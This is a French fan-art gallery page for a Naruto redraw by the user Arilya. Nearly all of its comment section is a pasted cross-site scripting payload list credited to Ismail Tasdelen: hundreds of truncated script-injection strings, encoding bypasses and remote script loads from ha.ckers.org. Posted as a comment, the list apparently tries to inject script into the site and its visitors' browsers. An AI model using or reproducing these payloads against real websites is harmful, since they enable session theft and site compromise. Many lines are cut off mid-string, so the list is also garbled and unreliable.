Fanart Naruto » Galerie de Arilya » Draw this again :

Draw this again

« Team

Fanart Naruto par Arilya

Taille réelle
1136x1136 - 272 ko - Vu 544 fois - Noté 8.17 par 11 membres - Commenté 3 fois


Arilya (Masculin), le 16/02/2021 à 17:48
Oekaki (fait à l'ordinateur uniquement)
Galerie de Arilya Un favori:

- Kami no Kyôki
Un petit exercice de redraw sur un art de 2011, dix ans d'écart... Vous le trouverez ici pour les plus curieux d'entre vous (https://ibb.co/Q9jbT18)

Quel chemin...


Veuillez vous identifier ou vous inscrire:
Pseudo: Mot de Passe:
And ROHAN will answer !We are Legend ~La petite vie d'un tourbillonSortir de sa zone de confortLa nouvelle tablette
Fanart Naruto » Galerie de Arilya » Commentaires:


Sir Floodon <!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/is -->
<!-- GitHub : https://github.com/ismailtasde -->
<!-- Twitter : https://twitter.com/ismailtsdl -->
<!-- Medium : https://medium.com/@ismailtasd -->

<scriptx20type="text/javasc
<scriptx3Etype="text/javasc
<scriptx0Dtype="text/javasc
<scriptx09type="text/javasc
<scriptx0Ctype="text/javasc
<scriptx2Ftype="text/javasc
<scriptx0Atype="text/javasc
'`"><x3Cscript>javascript:
'`"><x00script>javascript:
<img src=1 href=1 onerror="javascript:alert(1)
<audio src=1 href=1 onerror="javascript:alert(1)
<video src=1 href=1 onerror="javascript:alert(1)
<body src=1 href=1 onerror="javascript:alert(1)
<image src=1 href=1 onerror="javascript:alert(1)
<object src=1 href=1 onerror="javascript:alert(1)
<script src=1 href=1 onerror="javascript:alert(1)
<svg onResize svg onResize="javascript:javascri onResize>
<title onPropertyChange title onPropertyChange="javascript: onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript onLoad>
<body onMouseEnter body onMouseEnter="javascript:java onMouseEnter>
<body onFocus body onFocus="javascript:javascrip onFocus>
<frameset onScroll frameset onScroll="javascript:javascri onScroll>
<script onReadyStateChange script onReadyStateChange="javascrip onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascr onMouseUp>
<body onPropertyChange body onPropertyChange="javascript: onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript onLoad>
<body onPageHide body onPageHide="javascript:javasc onPageHide>
<body onMouseOver body onMouseOver="javascript:javas onMouseOver>
<body onUnload body onUnload="javascript:javascri onUnload>
<body onLoad body onLoad="javascript:javascript onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript: onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:java onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:java onMouseWheel>
<style onLoad style onLoad="javascript:javascript onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascrip onReadyStateChange>
<body onPageShow body onPageShow="javascript:javasc onPageShow>
<style onReadyStateChange style onReadyStateChange="javascrip onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascrip onFocus>
<applet onError applet onError="javascript:javascrip onError>
<marquee onStart marquee onStart="javascript:javascrip onStart>
<script onLoad script onLoad="javascript:javascript onLoad>
<html onMouseOver html onMouseOver="javascript:javas onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:pare onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:ja onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javas onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascri onScroll>
<xml onPropertyChange xml onPropertyChange="javascript: onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascrip onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascri onUnload>
<html onMouseOut html onMouseOut="javascript:javasc onMouseOut>
<body onMouseMove body onMouseMove="javascript:javas onMouseMove>
<body onResize body onResize="javascript:javascri onResize>
<object onError object onError="javascript:javascrip onError>
<body onPopState body onPopState="javascript:javasc onPopState>
<html onMouseMove html onMouseMove="javascript:javas onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascrip onreadystatechange>
<body onpagehide body onpagehide="javascript:javasc onpagehide>
<svg onunload svg onunload="javascript:javascri onunload>
<applet onerror applet onerror="javascript:javascrip onerror>
<body onkeyup body onkeyup="javascript:javascrip onkeyup>
<body onunload body onunload="javascript:javascri onunload>
<iframe onload iframe onload="javascript:javascript onload>
<body onload body onload="javascript:javascript onload>
<html onmouseover html onmouseover="javascript:javas onmouseover>
<object onbeforeload object onbeforeload="javascript:java onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:ja onbeforeunload>
<body onfocus body onfocus="javascript:javascrip onfocus>
<body onkeydown body onkeydown="javascript:javascr onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:java onbeforeload>
<iframe src iframe src="javascript:javascript:al src>
<svg onload svg onload="javascript:javascript onload>
<html onmousemove html onmousemove="javascript:javas onmousemove>
<body onblur body onblur="javascript:javascript onblur>
x3Cscript>javascript:alert(1
'"`><script>/* *x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</s
<script>javascript:alert(1)</s
<script>javascript:alert(1)</s
<script charset="x22>javascript:ale
<!--x3E<img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --x00> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --x21> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
`"'><img src='#x27 onerror=javascript:alert(1)>
<a href="javascriptx3Ajavascri id="fuzzelement1">test</a>
"'`><p><svg><script>a='hell
<a href="javasx00cript:javascr id="fuzzelement1">test</a>
<a href="javasx07cript:javascr id="fuzzelement1">test</a>
<a href="javasx0Dcript:javascr id="fuzzelement1">test</a>
<a href="javasx0Acript:javascr id="fuzzelement1">test</a>
<a href="javasx08cript:javascr id="fuzzelement1">test</a>
<a href="javasx02cript:javascr id="fuzzelement1">test</a>
<a href="javasx03cript:javascr id="fuzzelement1">test</a>
<a href="javasx04cript:javascr id="fuzzelement1">test</a>
<a href="javasx01cript:javascr id="fuzzelement1">test</a>
<a href="javasx05cript:javascr id="fuzzelement1">test</a>
<a href="javasx0Bcript:javascr id="fuzzelement1">test</a>
<a href="javasx09cript:javascr id="fuzzelement1">test</a>
<a href="javasx06cript:javascr id="fuzzelement1">test</a>
<a href="javasx0Ccript:javascr id="fuzzelement1">test</a>
<script>/* *x2A/javascript:alert(1)// */</script>
<script>/* *x00/javascript:alert(1)// */</script>
<style></stylex3E<img src="about:blank" onerror=javascript:alert(1)//>
<style></stylex0D<img src="about:blank" onerror=javascript:alert(1)//>
<style></stylex09<img src="about:blank" onerror=javascript:alert(1)//>
<style></stylex20<img src="about:blank" onerror=javascript:alert(1)//>
<style></stylex0A<img src="about:blank" onerror=javascript:alert(1)//>
"'`>ABC<div style="font-family:'foo'x
"'`>ABC<div style="font-family:'foo'x
%253Cscript%253Ealert('XSS')
<script>if("x\xE1x96x8 { javascript:alert(1);}</script>
<script>if("x\xE0xB9x9 { javascript:alert(1);}</script>
<script>if("x\xEExA9x9 { javascript:alert(1);}</script>
'`"><x3Cscript>javascript:
'`"><x00script>javascript:
"'`><x3Cimg src=xxx:x onerror=javascript:alert(1)>
"'`><x00img src=xxx:x onerror=javascript:alert(1)>
<script src="data:text/plainx2Cjava
<script src="data:xD4x8F,javascri
<script src="data:xE0xA4x98,jav
<script src="data:xCBx8F,javascri
<scriptx20type="text/javasc
<scriptx3Etype="text/javasc
<scriptx0Dtype="text/javasc
<scriptx09type="text/javasc
<scriptx0Ctype="text/javasc
<scriptx2Ftype="text/javasc
<scriptx0Atype="text/javasc
ABC<div style="xx3Aexpression(javas
ABC<div style="x:expressionx5C(java
ABC<div style="x:expressionx00(java
ABC<div style="x:expx00ression(java
ABC<div style="x:expx5Cression(java
ABC<div style="x:x0Aexpression(java
ABC<div style="x:x09expression(java
ABC<div style="x:xE3x80x80expre
ABC<div style="x:xE2x80x84expre
ABC<div style="x:xC2xA0expression
ABC<div style="x:xE2x80x80expre
ABC<div style="x:xE2x80x8Aexpre
ABC<div style="x:x0Dexpression(java
ABC<div style="x:x0Cexpression(java
ABC<div style="x:xE2x80x87expre
ABC<div style="x:xEFxBBxBFexpre
ABC<div style="x:x20expression(java
ABC<div style="x:xE2x80x88expre
ABC<div style="x:x00expression(java
ABC<div style="x:xE2x80x8Bexpre
ABC<div style="x:xE2x80x86expre
ABC<div style="x:xE2x80x85expre
ABC<div style="x:xE2x80x82expre
ABC<div style="x:x0Bexpression(java
ABC<div style="x:xE2x80x81expre
ABC<div style="x:xE2x80x83expre
ABC<div style="x:xE2x80x89expre
<a href="x0Bjavascript:javascr id="fuzzelement1">test</a>
<a href="x0Fjavascript:javascr id="fuzzelement1">test</a>
<a href="xC2xA0javascript:ja id="fuzzelement1">test</a>
<a href="x05javascript:javascr id="fuzzelement1">test</a>
<a href="xE1xA0x8Ejavascri id="fuzzelement1">test</a>
<a href="x18javascript:javascr id="fuzzelement1">test</a>
<a href="x11javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80x88javascri id="fuzzelement1">test</a>
<a href="xE2x80x89javascri id="fuzzelement1">test</a>
<a href="xE2x80x80javascri id="fuzzelement1">test</a>
<a href="x17javascript:javascr id="fuzzelement1">test</a>
<a href="x03javascript:javascr id="fuzzelement1">test</a>
<a href="x0Ejavascript:javascr id="fuzzelement1">test</a>
<a href="x1Ajavascript:javascr id="fuzzelement1">test</a>
<a href="x00javascript:javascr id="fuzzelement1">test</a>
<a href="x10javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80x82javascri id="fuzzelement1">test</a>
<a href="x20javascript:javascr id="fuzzelement1">test</a>
<a href="x13javascript:javascr id="fuzzelement1">test</a>
<a href="x09javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80x8Ajavascri id="fuzzelement1">test</a>
<a href="x14javascript:javascr id="fuzzelement1">test</a>
<a href="x19javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80xAFjavascri id="fuzzelement1">test</a>
<a href="x1Fjavascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80x81javascri id="fuzzelement1">test</a>
<a href="x1Djavascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80x87javascri id="fuzzelement1">test</a>
<a href="x07javascript:javascr id="fuzzelement1">test</a>
<a href="xE1x9Ax80javascri id="fuzzelement1">test</a>
<a href="xE2x80x83javascri id="fuzzelement1">test</a>
<a href="x04javascript:javascr id="fuzzelement1">test</a>
<a href="x01javascript:javascr id="fuzzelement1">test</a>
<a href="x08javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80x84javascri id="fuzzelement1">test</a>
<a href="xE2x80x86javascri id="fuzzelement1">test</a>
<a href="xE3x80x80javascri id="fuzzelement1">test</a>
<a href="x12javascript:javascr id="fuzzelement1">test</a>
<a href="x0Djavascript:javascr id="fuzzelement1">test</a>
<a href="x0Ajavascript:javascr id="fuzzelement1">test</a>
<a href="x0Cjavascript:javascr id="fuzzelement1">test</a>
<a href="x15javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80xA8javascri id="fuzzelement1">test</a>
<a href="x16javascript:javascr id="fuzzelement1">test</a>
<a href="x02javascript:javascr id="fuzzelement1">test</a>
<a href="x1Bjavascript:javascr id="fuzzelement1">test</a>
<a href="x06javascript:javascr id="fuzzelement1">test</a>
<a href="xE2x80xA9javascri id="fuzzelement1">test</a>
<a href="xE2x80x85javascri id="fuzzelement1">test</a>
<a href="x1Ejavascript:javascr id="fuzzelement1">test</a>
<a href="xE2x81x9Fjavascri id="fuzzelement1">test</a>
<a href="x1Cjavascript:javascr id="fuzzelement1">test</a>
<a href="javascriptx00:javascr id="fuzzelement1">test</a>
<a href="javascriptx3A:javascr id="fuzzelement1">test</a>
<a href="javascriptx09:javascr id="fuzzelement1">test</a>
<a href="javascriptx0D:javascr id="fuzzelement1">test</a>
<a href="javascriptx0A:javascr id="fuzzelement1">test</a>
`"'><img src=xxx:x x0Aonerror=javascript:alert(
`"'><img src=xxx:x x22onerror=javascript:alert(
`"'><img src=xxx:x x0Bonerror=javascript:alert(
`"'><img src=xxx:x x0Donerror=javascript:alert(
`"'><img src=xxx:x x2Fonerror=javascript:alert(
`"'><img src=xxx:x x09onerror=javascript:alert(
`"'><img src=xxx:x x0Conerror=javascript:alert(
`"'><img src=xxx:x x00onerror=javascript:alert(
`"'><img src=xxx:x x27onerror=javascript:alert(
`"'><img src=xxx:x x20onerror=javascript:alert(
"`'><script>x3Bjavascript:
"`'><script>x0Djavascript:
"`'><script>xEFxBBxBFj
"`'><script>xE2x80x81j
"`'><script>xE2x80x84j
"`'><script>xE3x80x80j
"`'><script>x09javascript:
"`'><script>xE2x80x89j
"`'><script>xE2x80x85j
"`'><script>xE2x80x88j
"`'><script>x00javascript:
"`'><script>xE2x80xA8j
"`'><script>xE2x80x8Aj
"`'><script>xE1x9Ax80j
"`'><script>x0Cjavascript:
"`'><script>x2Bjavascript:
"`'><script>xF0x90x96
"`'><script>-javascript:aler
"`'><script>x0Ajavascript:
"`'><script>xE2x80xAFj
"`'><script>x7Ejavascript:
"`'><script>xE2x80x87j
"`'><script>xE2x81x9Fj
"`'><script>xE2x80xA9j
"`'><script>xC2x85javasc
"`'><script>xEFxBFxAEj
"`'><script>xE2x80x83j
"`'><script>xE2x80x8Bj
"`'><script>xEFxBFxBEj
"`'><script>xE2x80x80j
"`'><script>x21javascript:
"`'><script>xE2x80x82j
"`'><script>xE2x80x86j
"`'><script>xE1xA0x8Ej
"`'><script>x0Bjavascript:
"`'><script>x20javascript:
"`'><script>xC2xA0javasc
"/><img/onerror=x0Bjavascri />
"/><img/onerror=x22javascri />
"/><img/onerror=x09javascri />
"/><img/onerror=x27javascri />
"/><img/onerror=x0Ajavascri />
"/><img/onerror=x0Cjavascri />
"/><img/onerror=x0Djavascri />
"/><img/onerror=x60javascri />
"/><img/onerror=x20javascri />
<scriptx2F>javascript:alert(
<scriptx20>javascript:alert(
<scriptx0D>javascript:alert(
<scriptx0A>javascript:alert(
<scriptx0C>javascript:alert(
<scriptx00>javascript:alert(
<scriptx09>javascript:alert(
`"'><img src=xxx:x onerrorx0B=javascript:alert(
`"'><img src=xxx:x onerrorx00=javascript:alert(
`"'><img src=xxx:x onerrorx0C=javascript:alert(
`"'><img src=xxx:x onerrorx0D=javascript:alert(
`"'><img src=xxx:x onerrorx20=javascript:alert(
`"'><img src=xxx:x onerrorx0A=javascript:alert(
`"'><img src=xxx:x onerrorx09=javascript:alert(
<script>javascript:alert(1)<
<img src=# onerrorx3D"javascript:alert >
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
<video poster=javascript:javascript:a
<body onscroll=javascript:alert(1)>< autofocus>
<form id=test onforminput=javascript:alert(1 form=test onformchange=javascript:alert(
<video><source onerror="javascript:javascrip
<video onerror="javascript:javascrip
<form><button formaction="javascript:javasc
<body oninput=javascript:alert(1)><i autofocus>
<math href="javascript:javascript:a <math> <maction actiontype="statusline#http:/ xlink:href="javascript:javasc </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javasc
<!--<img src="--><img src=x onerror=javascript:alert(1)//
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//
<![><img src="]><img src=x onerror=javascript:alert(1)//
<style><img src="</style><img src=x onerror=javascript:alert(1)//
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/s onload=javascript:alert(1)></d
<head><base href="javascript://"></head> href="/. /,javascript:alert(1)//#">XXX
<SCRIPT FOR=document EVENT=onreadystatechange>javas
<OBJECT CLASSID="clsid:333C7BC4-460F- NAME="DataURL" VALUE="javascript:alert(1)">
<object data="data:text/html;base64,%
<embed src="data:text/html;base64,%(
<b <script>alert(1)</script>0
<div id="div1"><input value="``onmouseover=javascri <div id="div2"></div><script>docu = document.getElementById("div1
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//
<embed src="javascript:alert(1)">
<img src="javascript:alert(1)">
<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:aler
<? foo="><script>javascript:aler
<! foo="><script>javascript:aler
</ foo="><script>javascript:aler
<? foo="><x foo='?><script>javascript:ale
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:
<% foo><x foo="%><script>javascript:ale
<div id=d><x xmlns="><iframe onload=javascript:alert(1)">< <script>d.innerHTML=d.innerHTM
<img x00src=x onerror="alert(1)">
<img x47src=x onerror="javascript:alert(1)
<img x11src=x onerror="javascript:alert(1)
<img x12src=x onerror="javascript:alert(1)
<imgx47src=x onerror="javascript:alert(1)
<imgx10src=x onerror="javascript:alert(1)
<imgx13src=x onerror="javascript:alert(1)
<imgx32src=x onerror="javascript:alert(1)
<imgx47src=x onerror="javascript:alert(1)
<imgx11src=x onerror="javascript:alert(1)
<img x47src=x onerror="javascript:alert(1)
<img x34src=x onerror="javascript:alert(1)
<img x39src=x onerror="javascript:alert(1)
<img x00src=x onerror="javascript:alert(1)
<img srcx09=x onerror="javascript:alert(1)
<img srcx10=x onerror="javascript:alert(1)
<img srcx13=x onerror="javascript:alert(1)
<img srcx32=x onerror="javascript:alert(1)
<img srcx12=x onerror="javascript:alert(1)
<img srcx11=x onerror="javascript:alert(1)
<img srcx00=x onerror="javascript:alert(1)
<img srcx47=x onerror="javascript:alert(1)
<img src=xx09onerror="javascript
<img src=xx10onerror="javascript
<img src=xx11onerror="javascript
<img src=xx12onerror="javascript
<img src=xx13onerror="javascript
<img[a][b][c]src[d]=x[e]onerro
<img src=x onerror=x09"javascript:aler
<img src=x onerror=x10"javascript:aler
<img src=x onerror=x11"javascript:aler
<img src=x onerror=x12"javascript:aler
<img src=x onerror=x32"javascript:aler
<img src=x onerror=x00"javascript:aler
<a href=java&#1&#2&#3&#4&#5&#6&#7
<img src="x` `<script>javascript:alert(1)</ `>
<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:al title=>
<a href=http://foo.bar/#x=`y></a> alt="`><img src=x:x onerror=javascript:alert(1)></
<!--[if]><script>javascript:al -->
<!--[if<img src=x onerror=javascript:alert(1)//] -->
<script src="/%(jscript)s"></scrip
<script src="\%(jscript)s"></scri
<object id="x" classid="clsid:CB927D12-4FF7- <object classid="clsid:02BF25D5-8C17- onqt_error="javascript:alert( style="behavior:url(#x);"><p name=postdomevents /></object>
<a style="-o-link:'javascript:j
<style>p[foo=bar{}*{-o-link:'
<link rel=stylesheet href=data:,*%7bx:expression(ja
<style>@import "data:,*%7bx:expression(javas
<a style="pointer-events:none;po style="position:absolute;" onclick="javascript:alert(1); href="javascript:javascript:a
<style>*[{}@import'%(css)s?]<
<div style="font-family:'foo&#10;
<div style="font-family:foo}color=
<// style=x:expression28javascri
<style>*{x:&#65349;&#65368;&#6
<div style=content:url(%(svg)s)></d
<div style="list-style:url(http://
<div id=d><div style="font-family:'sans27 color3Ared3B'">X</div></ <script>with(document.getEleme
<div style="background:url(/f#&#12
<div style="font-family:foo{bar;ba
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:g #y];color:red;{} </style>
<x style="background:url('x&#1;
<script>({set/**/$($){_/**/set
<script>({0:#0=eval/#0#/#0#(ja
<script>ReferenceError.prototy function(){javascript:alert(1)
<script>Object.__noSuchMethod_ = Function,[{}][0].constructor._
<meta charset="x-imap4-modified-utf
<meta charset="x-imap4-modified-utf
<meta charset="mac-farsi">¼script¾
X<x style=`behavior:url(#default#t onbegin=`javascript:alert(1)` >
1<set/xmlns=`urn:schemas-micro style=`beh&#x41vior:url(#defau attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;o
1<animate/xmlns=urn:schemas-mi style=behavior:url(#default#ti attributename=innerhtml values=&lt;img/src=&quot;.&quo
<vmlframe xmlns=urn:schemas-microsoft-co style=behavior:url(#default#vm src=%(vml)s#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-co style=behavior:url(#default#vm href=javascript:javascript:ale strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style="behavior:url(#default# folder="javascript:javascript
<x style="behavior:url(%(sct)s)
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:alert(1)"
<a href="javascript:javascript:a src="data:application/x-dom-e
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;o
<script>%(payload)s</script>
<script src=%(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:alert(1)</s
<IMG SRC="javascript:javascript:al
<IMG SRC=javascript:javascript:aler
<IMG SRC=`javascript:javascript:ale
<SCRIPT SRC=%(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:al
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:a
<IMG SRC="jav ascript:javascript:alert(1);"
<BODY onload!#$%%&()*~+-_.,:;?@[/|
<SCRIPT/SRC="%(jscript)s"></
<<SCRIPT>%(payload)s//<</SCRIP
<IMG SRC="javascript:javascript:al
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:al
<IMG DYNSRC="javascript:javascript
<IMG LOWSRC="javascript:javascript
<BGSOUND SRC="javascript:javascript:al
<BR SIZE="&{javascript:alert(1)}
<LAYER SRC="%(scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:a
<STYLE>@import'%(css)s';</ST
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:al
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:jav
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:jav
<IFRAME SRC="javascript:javascript:al
<TABLE BACKGROUND="javascript:javasc
<TABLE><TD BACKGROUND="javascript:javasc
<DIV STYLE="background-image: url(javascript:javascript:aler
<DIV STYLE="width:expression(javas
<IMG STYLE="xss:expr/*XSS*/ession(
<XSS STYLE="xss:expression(javascr
<STYLE TYPE="text/javascript">javas
<STYLE>.XSS{background-image:u CLASS=XSS></A>
<STYLE type="text/css">BODY{backgro
<!--[if gte IE 4]><SCRIPT>javascript:alert(1)
<BASE HREF="javascript:javascript:a
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJEC
<OBJECT classid=clsid:ae24fdae-03c6-11 name=url value=javascript:javascript:al
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xs namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)" DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com namespace="t" implementation="#default#time attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&l
<SCRIPT SRC="%(jpg)s"></SCRIPT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(paylo
<form id="test" /><button form="test" formaction="javascript:javasc
<body onscroll=javascript:alert(1)>< autofocus>
<P STYLE="behavior:url('#defaul end="0" onEnd="javascript:alert(1)">
<STYLE>@import'%(css)s';</ST
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1)
<meta charset= "x-imap4-modified-utf7"&&>&&
<SCRIPT onreadystatechange=javascript:
<style onreadystatechange=javascript:
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:ale
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:a
<object onerror=javascript:javascript:
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:ja
<IMG SRC=&{javascript:alert(1);};>
<a href="jav&#65ascript:javascri
<a href="jav&#97ascript:javascri
<embed width=500 height=500 code="data:text/html,<script>
<iframe srcdoc="&LT;iframe&sol;srcdoc
';alert(String.fromCharCode(8
alert(String.fromCharCode(88,8
></SCRIPT>">'><SCRIPT>alert(
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js
<IMG SRC="javascript:alert('XSS'
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.c link</a>
<a onmouseover=alert(document.coo link</a>
<IMG """><SCRIPT>alert("XSS")<
<IMG SRC=javascript:alert(String.fr
<IMG SRC=# onmouseover="alert('xxs')"
<IMG SRC= onmouseover="alert('xxs')"
<IMG onmouseover="alert('xxs')"
<IMG SRC=&#106;&#97;&#118;&#97;&#11
<IMG SRC=&#0000106&#0000097&#000011
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert(
<IMG SRC="jav&#x0A;ascript:alert(
<IMG SRC="jav&#x0D;ascript:alert(
perl -e 'print "<IMG SRC=javascript:alert("XS > out
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.
<BODY onload!#$%&()*~+-_.,:;?@[/|]
<SCRIPT/SRC="http://ha.ckers.
<<SCRIPT>alert("XSS");//<</S
<SCRIPT SRC=http://ha.ckers.org/xss.js B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS'
<iframe src=http://ha.ckers.org/script <
";alert('XSS');//
</TITLE><SCRIPT>alert("XSS")
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS'
<BODY BACKGROUND="javascript:alert(
<IMG DYNSRC="javascript:alert('XS
<IMG LOWSRC="javascript:alert('XS
<STYLE>li {list-style-image: url("javascript:alert('XSS'
<IMG SRC='vbscript:msgbox("XSS")
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS'
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss
<STYLE>@import'http://ha.cker
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org REL=stylesheet">
<STYLE>BODY{-moz-binding:url(
<STYLE>@import'javasc
<IMG STYLE="xss:expr/*XSS*/ession(
exp/*<A STYLE='noxss:noxss("*//*"
<STYLE TYPE="text/javascript">alert
<STYLE>.XSS{background-image:u CLASS=XSS></A>
<STYLE type="text/css">BODY{backgro
<STYLE type="text/css">BODY{backgro
<XSS STYLE="xss:expression(alert(
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:ale
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFN
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:ale
<IFRAME SRC="javascript:alert('XSS'
<IFRAME SRC=# onmouseover="alert(document.c
<FRAMESET><FRAME SRC="javascript:alert('XSS'
<TABLE BACKGROUND="javascript:alert(
<TABLE><TD BACKGROUND="javascript:alert(
<DIV STYLE="background-image: url(javascript:alert('XSS'))
<DIV STYLE="background-image:07
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF="javascript:alert('XSS
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scr
<EMBED SRC="data:image/svg+xml;base6 A6Ly93d3cudzMub3JnLzIwMDAvc3Zn MjAwMC9zdmciIHhtbG5zOnhsaW5rPS aW5rIiB2ZXJzaW9uPSIxLjAiIHg9Ij IiBpZD0ieHNzIj48c2NyaXB0IHR5cG TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== type="image/svg+xml" AllowScriptAccess="always"><
<SCRIPT SRC="http://ha.ckers.org/xss.
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js
<? echo('<SCR)';echo('IPT>aler ?>
<IMG SRC="http://www.thesiteyouare
Redirect 302 /a.jpg http://victimsite.com/admin.as
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.
<SCRIPT =">" SRC="http://ha.ckers.org/xss.
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.
<SCRIPT>document.write("<SCRI SRC="http://ha.ckers.org/xss.
<A HREF="http://66.102.7.147/">
<A HREF="http://%77%77%77%2E%67%
<A HREF="http://1113982867/">XS
<A HREF="http://0x42.0x0000066.0
<A HREF="http://0102.0146.0007.0
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<iframe %00 src="&Tab;javascript:prompt(1
<svg><style>{font-family&colon
<input/onmouseover="javaSCRIP
<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
<img/src=`%00` onerror=this.onerror=confirm(1
<form><isindex formaction="javascript&colon;
